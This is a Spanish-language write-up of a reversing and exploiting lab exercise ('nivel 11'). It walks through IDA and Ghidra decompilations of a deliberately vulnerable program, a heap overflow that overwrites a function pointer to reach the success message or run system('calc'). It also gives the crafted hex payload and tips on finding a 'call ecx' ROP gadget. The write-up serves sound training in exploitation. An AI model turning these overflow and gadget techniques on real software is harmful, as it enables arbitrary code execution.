Los retos los hice usando vim con la siguiente configuracion:
" vim -b : edit binary using xxd-format!
augroup Binary
  au!
  au BufReadPre  *.bin let &bin=1
  au BufReadPost *.bin if &bin | %!xxd
  au BufReadPost *.bin set ft=xxd | endif
  au BufWritePre *.bin if &bin | %!xxd -r
  au BufWritePre *.bin endif
  au BufWritePost *.bin if &bin | %!xxd
  au BufWritePost *.bin set nomod | endif
augroup END
autocmd BufWritePost *.bin term ++close ++hidden cp % %:r.txt
Porque renombre el tipo de variable que tomaba check en vez de int lo puse como char **
int __cdecl check(int a1, char **a2)
{
  int i; // [esp+8h] [ebp-328h]
  char *v4[201]; // [esp+Ch] [ebp-324h] BYREF
  memset(v4, 0, 800u);
  for ( i = 0; i < a1; ++i )
  {
    v4[i] = malloc(228u);
    v4[i][54] = check;
    v4[i][55] = system;
    // strcpy copia hasta encontrar un caracter nulo (00 en hexa), acá no se produce overflow porque copias de un buffer de 200 a uno de 800
    strcpy(v4[i], a2[i]);
    // No queremos que pise el puntero a system con printf.
    v4[i][55] = printf;
    // Acá necesitamos copiar calc a v4[i]+200 (acá se produce el buffer overflow)
    strcpy(v4[i] + 200, a2[i]);
    // Acá necesitamos llamar a system(calc)
    v4[i][55](v4[i] + 200);
  }
  return printf("\nA repasarrrr ... \n");
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v4; // [esp+4h] [ebp-3F8h]
  int v5; // [esp+8h] [ebp-3F4h]
  int i; // [esp+Ch] [ebp-3F0h]
  const char *v7[200]; // [esp+10h] [ebp-3ECh] BYREF
  char String[200]; // [esp+330h] [ebp-CCh] BYREF
  v4 = fopen("C:\\lista.txt", "rb");
  memset(String, 0, sizeof(String));
  if ( !v4 )
  {
    printf("No se puede leer la lista de alumnos bye bye \n");
    exit(1);
  }
  fread(String, 200u, 1u, v4);
  v7[0] = strtok(String, " ");
  if ( !v7[0] )
    exit(1);
  printf("nombre = %s\n", v7[0]);
  v5 = 1; for ( i = 1; i < 200; ++i )
  {
    // Esto sirve para pasar a la siguiente palabra separada por un espacio.
    v7[i] = strtok(0, " ");
    if ( !v7[i] )
      break;
    printf("nombre = %s\n", v7[i]);
    ++v5;
  }
  printf("cantidad de alumnos %d\n", v5);
  check(v5, v7);
  return 0;
}
Pero en la función check el decompilador no detectó el mensaje que decía “Aprobaste nivel 11”, este mensaje si fue detectado por el decompilador de ghidra (aunque se puede ver en el gráfico del assembler en ida si accedés a la función check)
void __cdecl check(int param_1,int param_2)
{
  char *pcVar1;
  int iVar2;
  int local_32c;
  char *local_328 [200];
  uint local_8;
  
  local_8 = DAT_10104004 ^ (uint)&stack0xfffffffc;
  iVar2 = 1;
  memset(local_328,0,800);
  for (local_32c = 0; local_32c < param_1; local_32c = local_32c + 1) {
    pcVar1 = (char *)operator_new(0xe4);
    local_328[local_32c] = pcVar1;
    *(code **)(local_328[local_32c] + 0xd8) = FUN_10101010;
    *(code **)(local_328[local_32c] + 0xdc) = system_exref;
    strcpy(local_328[local_32c],*(char **)(param_2 + local_32c * 4));
    *(code **)(local_328[local_32c] + 0xdc) = FUN_10101390;
    strcpy(local_328[local_32c] + 200,*(char **)(param_2 + local_32c * 4));
    (**(code **)(local_328[local_32c] + 0xdc))(local_328[local_32c] + 200);
  }
  if (iVar2 == 0) {
    printf("\nAprobaste Nivel 11\n",(char)iVar2);
  }
  else {
    printf("\nA repasarrrr ... \n",(char)iVar2);
  }
  @__security_check_cookie@4(local_8 ^ (uint)&stack0xfffffffc);
  return;
}
int main(void)
{
  FILE *_File;
  char *pcVar1;
  int iVar2;
  undefined in_stack_fffffc00;
  code *pcVar3;
  int local_3f8;
  int local_3f4;
  char *local_3f0 [200];
  char local_d0 [200];
  uint local_8;
  
  local_8 = DAT_10104004 ^ (uint)&stack0xfffffffc;
  _File = fopen("C:\\lista.txt","rb");
  memset(local_d0,0,200);
  if (_File == (FILE *)0x0) {
    printf("No se puede leer la lista de alumnos bye bye \n",in_stack_fffffc00);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  fread(local_d0,200,1,_File);
  local_3f0[0] = strtok(local_d0," ");
  if (local_3f0[0] == (char *)0x0) {
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  printf("nombre = %s\n",(char)local_3f0[0]);
  local_3f8 = 1;
  for (local_3f4 = 1; local_3f4 < 200; local_3f4 = local_3f4 + 1) {
    pcVar1 = strtok((char *)0x0," ");
    local_3f0[local_3f4] = pcVar1;
    if (local_3f0[local_3f4] == (char *)0x0) break;
    printf("nombre = %s\n",(char)local_3f0[local_3f4]);
    local_3f8 = local_3f8 + 1;
  }
  pcVar3 = check;
  printf("cantidad de alumnos %d\n",(char)local_3f8);
  (*pcVar3)(local_3f8,local_3f0);
  iVar2 = @__security_check_cookie@4(local_8 ^ (uint)&stack0xfffffffc);
  return iVar2;
}
00000000: 6361 6c63 2063 616c 6320 4141 4141 4141  calc calc AAAAAA
00000010: 4141 4141 4141 4141 4141 4141 4141 5e11  AAAAAAAAAAAAAA^.
00000020: 1010 0000 0000 0000 0000 0000 0000 0000  ................
Saltamos a la dirección 1010115e que es en donde está el mensaje “Aprobaste nivel 11”
Para ejecutar la calculadora tenés que usar un “gadget” y buscar un call ecx
Search > gadgets > search > control +f > call ecx , hay un call ecx en 10102148
El exploit de ricardo narvaja contiene XXXXXXXX al comienzo estos X’s representan POP EAX
O podés usar rp++ o ropper en linux para buscar los gadgets.